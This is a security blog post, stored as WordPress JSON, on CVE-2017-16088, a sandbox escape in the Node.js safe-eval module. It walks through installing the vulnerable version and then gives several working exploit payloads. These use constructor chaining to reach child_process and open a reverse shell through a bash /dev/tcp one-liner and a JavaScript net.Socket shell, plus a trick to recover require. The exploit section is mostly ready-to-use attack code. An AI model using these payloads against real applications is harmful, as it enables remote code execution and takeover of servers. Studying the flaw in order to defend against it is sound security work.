{"id":559,"date":"2019-08-16T16:52:47","date_gmt":"2019-08-16T20:52:47","guid":{"rendered":"http:\/\/www.wispwisp.com\/?p=559"},"modified":"2020-12-08T21:49:35","modified_gmt":"2020-12-08T21:49:35","slug":"cve-2017-16088-poc","status":"publish","type":"post","link":"https:\/\/www.wispwisp.com\/index.php\/2019\/08\/16\/cve-2017-16088-poc\/","title":{"rendered":"Exploit CVE-2017-16088"},"content":{"rendered":"\n\n\n<h3><strong>CVE Detail(<a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2017-16088\">Link<\/a>):<\/strong><\/h3>\n\n\n\n<blockquote class=\"wp-block-quote\"><p><em>The safe-eval module describes itself as a safer version of eval. By accessing the object constructors, un-sanitized user input can access the entire standard library and effectively break out of the sandbox.<\/em><\/p><\/blockquote>\n\n\n\n<div style=\"height:40px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3><strong>Background:<\/strong><\/h3>\n\n\n\n<p style=\"font-size:18px\">On Mar 3, 2017, Github user \u201codino\u201d opened a security issue in the safeEval GitHub repository and provide a one-line PoC(<a href=\"https:\/\/github.com\/hacksparrow\/safe-eval\/issues\/5\">Link<\/a>). The payload is: <\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">var safeEval = require('safe-eval');\nsafeEval(\"this.constructor.constructor('return process')().exit()\");<\/pre>\n\n\n\n<p style=\"font-size:18px\">Execute the payload above will cause Node to exit the current process.  If you run the payload in a Node console in the terminal, it will quit\/exit the console. This one-line Poc payload is not particularly interesting and useful. Search over the internet, I am not able to find any exploit that makes use of this CVE. In this blog, I will talk about how to install Node.js and the vulnerable version of <code>safe-eval(0.3.0)<\/code>, the difference between <code>eval<\/code> and <code>safe-eval<\/code>, and provide a few payloads to gain reverse shell. <\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3><strong>Setup:<\/strong><\/h3>\n\n\n\n<p style=\"font-size:18px\">1. Download Node.js installation pack from <a href=\"https:\/\/nodejs.org\/en\/\">https:\/\/nodejs.org\/en\/<\/a> and install it on the system.<br>2. Install the vulnerable version of <code>safeEval<\/code> &nbsp;by typing <code>npm install safe-eval@0.3.0 --save<\/code>  in the Terminal.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3><strong>Regular eval<\/strong><\/h3>\n\n\n\n<p style=\"font-size:18px\">Before going into <code>safe-eval<\/code>, let&#8217;s try out regular <code>eval<\/code> first:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">var user_input = \"require('child_process').exec('touch hacked.txt')\";\neval(user_input);<\/pre>\n\n\n\n<p style=\"font-size:18px\">Execute code above in the Node console will create a file hacked.txt on the system. In a Node.js web application, if a user has control over the value of the <code>user_input<\/code> variable, the user can execute arbitrary code on the application server, which is pretty bad. \ud83d\ude41<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3><strong>safe-eval<\/strong><\/h3>\n\n\n\n<p style=\"font-size:18px\">What is safe-eval? According to the README on it&#8217;s GitHub repository:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p><code>safe-eval<\/code>&nbsp;lets you execute JavaScript code without having to use the much discouraged and feared upon&nbsp;<code>eval()<\/code>. <code>safe-eval<\/code>&nbsp;has access to all the standard APIs of the&nbsp;<a href=\"https:\/\/code.google.com\/p\/v8\/\">V8 JavaScript Engine<\/a>. By default, it does not have access to the Node.js API.<\/p><\/blockquote>\n\n\n\n<p style=\"font-size:18px\"><code>safe-eval<\/code> is a safer version of <code>eval<\/code>. For example, the input that works with <code>eval<\/code> will failed with <code>safe-eval<\/code>.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">var safeEval = require('safe-eval');\nvar user_input = \"require('child_process').exec('touch hacked.txt')\";\nsafeEval(user_input);<\/pre>\n\n\n\n<p><img decoding=\"async\" class=\"wp-image-566\" style=\"width: 600px;\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2019\/08\/Screen-Shot-2019-08-16-at-4.59.14-PM.png\" alt=\"\"><\/p>\n\n\n\n<div style=\"height:40px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3><strong>The exploit:<\/strong><\/h3>\n\n\n\n<p style=\"font-size:18px\">From my understanding, to get around the restrictions imposed by <code>safe-eval<\/code>, the goal is to escape the Node.js vm\/sandbox. Lots of research has been done in this field, here is a couple of them:<\/p>\n\n\n\n<p><a href=\"https:\/\/gist.github.com\/jcreedcmu\/4f6e6d4a649405a9c86bb076905696af\">https:\/\/gist.github.com\/jcreedcmu\/4f6e6d4a649405a9c86bb076905696af<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/patriksimek\/vm2\/issues\/32\">https:\/\/github.com\/patriksimek\/vm2\/issues\/32<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/odino.org\/eval-no-more-understanding-vm-vm2-nodejs\/\">https:\/\/odino.org\/eval-no-more-understanding-vm-vm2-nodejs\/<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/pwnisher.gitlab.io\/nodejs\/sandbox\/2019\/02\/21\/sandboxing-nodejs-is-hard.html\">https:\/\/pwnisher.gitlab.io\/nodejs\/sandbox\/2019\/02\/21\/sandboxing-nodejs-is-hard.html<\/a><\/p>\n\n\n\n\n\n<p style=\"font-size:18px\">Here are a few payloads to get a reverse shell. You might encounter an error from Node, complaining <strong><em>ReferenceError<\/em><\/strong> <code>this<\/code><strong><em> is not defined<\/em><\/strong>. Try to replace the keyword <code>this<\/code> to <code>Object<\/code>, <code>global<\/code> or any object you have access to.<\/p>\n\n\n\n<p style=\"font-size:18px\">Reverse shell payload with the bash-one-line:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">safeEval(\"this.constructor.constructor('return child_process')().exec('bash -i &gt;&amp; \/dev\/tcp\/$ip\/$port 0&gt;&amp;1')\");<\/pre>\n\n\n\n<p style=\"font-size:18px\">Reverse shell payload with JavaScript:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">safeEval(\"net = this.constructor.constructor('return net')(), sh = this.constructor.constructor('return child_process')().exec('\/bin\/bash');\nclient = new net.Socket();client.connect($port, '$ip', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);\nsh.stderr.pipe(client);});\");<\/pre>\n\n\n\n<p style=\"font-size:18px\">If <code>require<\/code> is not available, to obtain the <code>require<\/code> by:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">process = this.constructor.constructor('return (function(){return process})()')();\nvar require = process.mainModule.require;<\/pre>\n\n\n\n<p style=\"font-size:18px\">If you are able to define an arbitrary function in the program: <\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">var context= {world: function () { return child_process.exec(\"bash -c 'bash -i &gt;&amp; \/dev\/tcp\/$ip\/$port 0&gt;&amp;1'\")}}\nsafeEval('{hello: world()}',context)<\/pre>\n\n\n\n<div style=\"height:40px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3><strong>Fix. Fixed?<\/strong><\/h3>\n\n\n\n<p style=\"font-size:18px\">The author claims the vulnerability is fixed(<a href=\"https:\/\/github.com\/hacksparrow\/safe-eval\/issues\/7#issuecomment-408153856\">Link<\/a>). However, GitHub user &#8216;cpcallen&#8217; reply to the GitHub issue about bypass the Fix. (<a href=\"https:\/\/github.com\/hacksparrow\/safe-eval\/issues\/5#issuecomment-415904706\">Link<\/a>)  , and <a href=\"https:\/\/github.com\/hacksparrow\/safe-eval\/issues\/16\">NOT so safe eval<\/a> by &#8216;ChrisCinelli&#8217;. The author has this statement in the <code>safe-eval<\/code> repository. Maybe not so safe \ud83d\ude42 .<\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p><em>UPDATE 27\/08\/2018:<\/em>&nbsp;There are still ways to crash the Node process, please use&nbsp;<code>safe-eval<\/code>&nbsp;only with content created by yourself or from trusted sources. User-submitted data should not be run through&nbsp;<code>safe-eval<\/code>. Thanks&nbsp;<a href=\"https:\/\/github.com\/cpcallen\">@cpcallen<\/a>&nbsp;for the report.<\/p><\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>CVE Detail(Link): The safe-eval module describes itself as a safer version of eval. By accessing the object constructors, un-sanitized user input can access the entire standard library and effectively break out of the sandbox. Background: On Mar 3, 2017, Github user \u201codino\u201d opened a security issue in the safeEval GitHub repository and provide a one-line [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":688,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[2,3],"tags":[],"_links":{"self":[{"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/posts\/559"}],"collection":[{"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/comments?post=559"}],"version-history":[{"count":2,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/posts\/559\/revisions"}],"predecessor-version":[{"id":752,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/posts\/559\/revisions\/752"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/media\/688"}],"wp:attachment":[{"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/media?parent=559"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/categories?post=559"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/tags?post=559"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}